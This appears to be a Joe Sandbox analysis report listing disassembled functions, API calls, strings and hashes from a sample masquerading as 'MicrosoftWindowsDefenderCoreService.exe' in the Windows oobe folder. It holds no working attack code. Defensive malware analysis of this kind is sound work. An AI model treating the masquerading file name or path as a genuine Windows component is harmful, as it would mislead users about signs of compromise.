Function 00007FF76E1B3D98 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF76E1B3DC0
_set_statfp.LIBCMT ref: 00007FF76E1B3DDB
_set_statfp.LIBCMT ref: 00007FF76E1B3DF7
_set_statfp.LIBCMT ref: 00007FF76E1B3E33

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 610bebcc449b3f19ed658dd1d6eba545d4d7d9ef53352e00cb8a10db8b486460
Instruction ID: 5852d78f67fec066dab4f8e686d78829a8e9ff6e4cacac7fe679f970f9be9487
Opcode Fuzzy Hash: 610bebcc449b3f19ed658dd1d6eba545d4d7d9ef53352e00cb8a10db8b486460
Instruction Fuzzy Hash: 7411B662D18A0386F75C3178F85A37584406F64370EC40636F9AE866D7CE9CA5536138

Function 00007FF76E1A2030 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF76E19C087,?,?,00000000,00007FF76E19C322,?,?,?,?,?,00007FF76E19C2AE), ref: 00007FF76E1A204F
FlsSetValue.KERNEL32(?,?,?,00007FF76E19C087,?,?,00000000,00007FF76E19C322,?,?,?,?,?,00007FF76E19C2AE), ref: 00007FF76E1A206E
FlsSetValue.KERNEL32(?,?,?,00007FF76E19C087,?,?,00000000,00007FF76E19C322,?,?,?,?,?,00007FF76E19C2AE), ref: 00007FF76E1A2096
FlsSetValue.KERNEL32(?,?,?,00007FF76E19C087,?,?,00000000,00007FF76E19C322,?,?,?,?,?,00007FF76E19C2AE), ref: 00007FF76E1A20A7
FlsSetValue.KERNEL32(?,?,?,00007FF76E19C087,?,?,00000000,00007FF76E19C322,?,?,?,?,?,00007FF76E19C2AE), ref: 00007FF76E1A20B8

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 544b57795e900993dc6ab2fe6fc2bfdc604f26172f4c8bd7ba9232aefa530dbf
Instruction ID: 495b8b2c7435117b2a3381e1366dd839a7b8f71e8e398b2637ed43e10bf82365
Opcode Fuzzy Hash: 544b57795e900993dc6ab2fe6fc2bfdc604f26172f4c8bd7ba9232aefa530dbf
Instruction Fuzzy Hash: C9113D20B09212C1FA6C772A765117EE1425F44BB0E944734E97E47ED6DE2CA481E638

Function 00007FF76E1A1EC4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF76E1A1ED5
FlsSetValue.KERNEL32 ref: 00007FF76E1A1EF4
FlsSetValue.KERNEL32 ref: 00007FF76E1A1F1C
FlsSetValue.KERNEL32 ref: 00007FF76E1A1F2D
FlsSetValue.KERNEL32 ref: 00007FF76E1A1F3E

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 78af687ee6f1c8bf6cea1a77bb6845e8d8ac8d0a943de4a8e3e7b8bb2f336905
Instruction ID: 9530509959ec0e29237eb55241ed3ca2891df44a38e27e865e0d90077e0f8216
Opcode Fuzzy Hash: 78af687ee6f1c8bf6cea1a77bb6845e8d8ac8d0a943de4a8e3e7b8bb2f336905
Instruction Fuzzy Hash: 3F112E64B08247C1F96C733A74510B9E1415F45B74ED80B34E93E4AED3DE2CB449A679

Function 00007FF76E1A80D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1A8379

Part of subcall function 00007FF76E1B0DF0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF76E1B0E0D

Strings

ccs, xrefs: 00007FF76E1A82C5
UTF-16LEUNICODE, xrefs: 00007FF76E1A831D
UTF-8, xrefs: 00007FF76E1A82FC

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: d675548ff260c3428822139b252ea2b8710ba36714038c92574fd4e9350a16da
Instruction ID: 1d30a747cbac8ce7805dbdd9fed341556b02683bcc91c04cc3c67b6d08590042
Opcode Fuzzy Hash: d675548ff260c3428822139b252ea2b8710ba36714038c92574fd4e9350a16da
Instruction Fuzzy Hash: 4181C431D0C6C2CBFB6D7A2DA258239EA92AF11748FD45032C94E569D5CB2DE801F239

Function 00007FF76E193F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 00007FF76E193F90
_CallSETranslator.LIBVCRUNTIME ref: 00007FF76E193FDB

Strings

RCC, xrefs: 00007FF76E193FAC
MOC, xrefs: 00007FF76E193FA4

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 4e72a78afc033ce412dcfac9bfc7b6e783b7367c1d82e14657b0475efbf5066c
Instruction ID: 4a48ae7916129731563a4faeeb76adaf3059b61a995f3153fee1dd65605c43d6
Opcode Fuzzy Hash: 4e72a78afc033ce412dcfac9bfc7b6e783b7367c1d82e14657b0475efbf5066c
Instruction Fuzzy Hash: 7291F173A08781CAE714EB64F4802ADBBA1F704788F54413AEE8C17755DF38E996D724

Function 00007FF76E192560 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF76E19258B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF76E192622
RtlUnwindEx.KERNEL32 ref: 00007FF76E19267C

Strings

csm, xrefs: 00007FF76E192609

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 304309c19993bd8ade6526e907a9e90410f75ec28ddd64bd65e9413e692c37fe
Instruction ID: 72cc8aaae3066a26343ad90fccaf8bde5f5a9508b8c66ae687baf9faa1590706
Opcode Fuzzy Hash: 304309c19993bd8ade6526e907a9e90410f75ec28ddd64bd65e9413e692c37fe
Instruction Fuzzy Hash: 7E51AC36B1A602CAEB1CEB15F044A78A396FB54B88F918131DE5A43788DF7DEC41D724

Function 00007FF76E1944A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF76E1944C8
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF76E1945B0

Strings

csm, xrefs: 00007FF76E1944EA
csm, xrefs: 00007FF76E194602

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 80008918aa73afb691e5de68afa07868eca546d8f81fed6c896487fa01ad9c07
Instruction ID: 9b9469db506cc016de921052db259b3ea021485da16960362ddc21bd71b407eb
Opcode Fuzzy Hash: 80008918aa73afb691e5de68afa07868eca546d8f81fed6c896487fa01ad9c07
Instruction Fuzzy Hash: 8651A7B2908341C6EB78AF11A484268B7A2FB44B84F944135DA6D47B95CF3CEC62D738

Function 00007FF76E193CB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 00007FF76E193D0F
_CallSETranslator.LIBVCRUNTIME ref: 00007FF76E193D5B

Strings

MOC, xrefs: 00007FF76E193D23
RCC, xrefs: 00007FF76E193D2B

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 13e6be0cdf2e1c89e698b7cb498a147cdf67c7efa57d0f18788b81dbc0e46aff
Instruction ID: 78fce177a851086e11610d6108e272c1fdc3541a1d880bcf46d8f15fc64d3613
Opcode Fuzzy Hash: 13e6be0cdf2e1c89e698b7cb498a147cdf67c7efa57d0f18788b81dbc0e46aff
Instruction Fuzzy Hash: 5961AF32908BC5C1D734AB25F4443AAB7A1FB94B88F844225EB9D03B95DF3CD591CB24

Function 00007FF76E18E600 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF76E18E66B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF76E18E6B3
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF76E18E743

Strings

bad locale name, xrefs: 00007FF76E18E766

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: a236d3788c6dc273956d2bd0d737d1f2c70b8b760a15bc821f3a65a0eb825694
Instruction ID: 1744306028383a1437ce1276389a13beed6517ba2a3c3a4c678924c7bad045fc
Opcode Fuzzy Hash: a236d3788c6dc273956d2bd0d737d1f2c70b8b760a15bc821f3a65a0eb825694
Instruction Fuzzy Hash: AB416F32B0AA41C9EB18EF71E8906BD7365EF44748F880435DB4D27A99CE38D511A3B9

Function 00007FF76E1AAC4C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00007FF76E1AAC65
FreeEnvironmentStringsW.KERNEL32 ref: 00007FF76E1AACD7

Part of subcall function 00007FF76E1A4340: RtlAllocateHeap.NTDLL ref: 00007FF76E1A437E

FreeEnvironmentStringsW.KERNEL32 ref: 00007FF76E1AAD36

Part of subcall function 00007FF76E1A2448: HeapFree.KERNEL32 ref: 00007FF76E1A245E
Part of subcall function 00007FF76E1A2448: GetLastError.KERNEL32 ref: 00007FF76E1A2468

Strings

COMSPEC, xrefs: 00007FF76E1AAC5F

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: EnvironmentFreeStrings$Heap$AllocateErrorLast
String ID: COMSPEC
API String ID: 1848424169-1631433037
Opcode ID: a35ff489d0d3ba14193343ce58dfbc904a4c6568c23973069f1c9c1939171e9d
Instruction ID: 92474ada80501f8914c7d88a0cfd1161a1a30b0ae98e113494c2fa5d5025d24c
Opcode Fuzzy Hash: a35ff489d0d3ba14193343ce58dfbc904a4c6568c23973069f1c9c1939171e9d
Instruction Fuzzy Hash: A4319731A08756C2E628BF2A744007AB694BB44BD4FC44239E99E47FD5DF3CE4419378

Function 00007FF76E1A310C Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF76E1A318B
WriteFile.KERNEL32 ref: 00007FF76E1A3453
WriteFile.KERNEL32 ref: 00007FF76E1A3499
GetLastError.KERNEL32 ref: 00007FF76E1A354F

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6bea90274e1ddf0261b549dafed0cd0423df2629b60b0ba69d4055811051c5d3
Instruction ID: 716ad81f2b817d1022386502696ea26f937c32a1d0a881d2aac7c6705671fbd7
Opcode Fuzzy Hash: 6bea90274e1ddf0261b549dafed0cd0423df2629b60b0ba69d4055811051c5d3
Instruction Fuzzy Hash: 12D1EE72B08A81C9E715DB79E4442BCB7B1FB44B98B844236CE5D97B89DE38E407D324

Function 00007FF76E18D8D0 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: e70901659d5a215cad6da5922abb1148b3ee112d15c305ba5e56ac954c0709b8
Instruction ID: 8d930a9948303d07a6c33dd4783551782edd661260b63c18412a27058b975334
Opcode Fuzzy Hash: e70901659d5a215cad6da5922abb1148b3ee112d15c305ba5e56ac954c0709b8
Instruction Fuzzy Hash: C0416022A08B45C5EA19EB16F45017AA364FB88F84F984133DE8E43765DF3CE445DB39

Function 00007FF76E1911D4 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF76E191200
GetCurrentThreadId.KERNEL32 ref: 00007FF76E19120E
GetCurrentProcessId.KERNEL32 ref: 00007FF76E19121A
QueryPerformanceCounter.KERNEL32 ref: 00007FF76E19122A

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 497246f021e04b2bbef846a64232120c5a6b46ee7efe2ac5d883071b72bec3f9
Instruction ID: cbffbc700ef06d4490594680fdc843d2c12e1d8e3ed099041e5169697e8859cc
Opcode Fuzzy Hash: 497246f021e04b2bbef846a64232120c5a6b46ee7efe2ac5d883071b72bec3f9
Instruction Fuzzy Hash: 78111C22B14F01C9EB00AF60E8542B873A4FB59B58F840E35DA6D867A4DF7CD1A4D364

Function 00007FF76E1AA98C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF76E1AA2E4: GetOEMCP.KERNEL32 ref: 00007FF76E1AA30E

IsValidCodePage.KERNEL32 ref: 00007FF76E1AA9F9
GetCPInfo.KERNEL32 ref: 00007FF76E1AAA3D

Strings

COMSPEC, xrefs: 00007FF76E1AA996

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: COMSPEC
API String ID: 546120528-1631433037
Opcode ID: 4af0dbb684c724fe96bf341664f4c603cd190a363433aeae2eaa4d0cfb01c452
Instruction ID: 0302cd2f664b8036eeed45ec7c03b84921f698889ead991e5067d99781545401
Opcode Fuzzy Hash: 4af0dbb684c724fe96bf341664f4c603cd190a363433aeae2eaa4d0cfb01c452
Instruction Fuzzy Hash: 58818F62A08682D6F76DAF29F050179F7A2FB44780FC84036C68E47A90DE3DE545E338

Function 00007FF76E1946D8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF76E194702

Strings

csm, xrefs: 00007FF76E194896
csm, xrefs: 00007FF76E194727

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 1f6efa882bf4f4cf33d0bfbb7f6dec5b5492705073dcf45ce2cc2171be57f55a
Instruction ID: 4b9fac85accd45bf298d090c4bb4895758bdf2a6cf5d7fdd90d2f5682bd61156
Opcode Fuzzy Hash: 1f6efa882bf4f4cf33d0bfbb7f6dec5b5492705073dcf45ce2cc2171be57f55a
Instruction Fuzzy Hash: 0071C232908691C6D778AF25E080779BBA2FB44F84F448131DA9D47685CF3CD852D764

Function 00007FF76E194D80 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF76E194E2A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF76E194E53

Strings

csm, xrefs: 00007FF76E194F53

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: f9b199feffe51fe14d700ed6b556c1e2233788361c1b5b39dfb5c3d1f05c27eb
Instruction ID: f9e4df2143d827b2a670a59dcb276ad49fe55e5e78b4416058cbb70e205e464f
Opcode Fuzzy Hash: f9b199feffe51fe14d700ed6b556c1e2233788361c1b5b39dfb5c3d1f05c27eb
Instruction Fuzzy Hash: 20516D32A19741C6E628AB15F48026EB7A5FB88B91F540534EF8D07B56CF3CE891DB24

Function 00007FF76E19E2A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF76E19E2D6

Part of subcall function 00007FF76E1A2448: HeapFree.KERNEL32 ref: 00007FF76E1A245E
Part of subcall function 00007FF76E1A2448: GetLastError.KERNEL32 ref: 00007FF76E1A2468

GetModuleFileNameW.KERNEL32 ref: 00007FF76E19E2F4

Strings

C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe, xrefs: 00007FF76E19E2E2

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

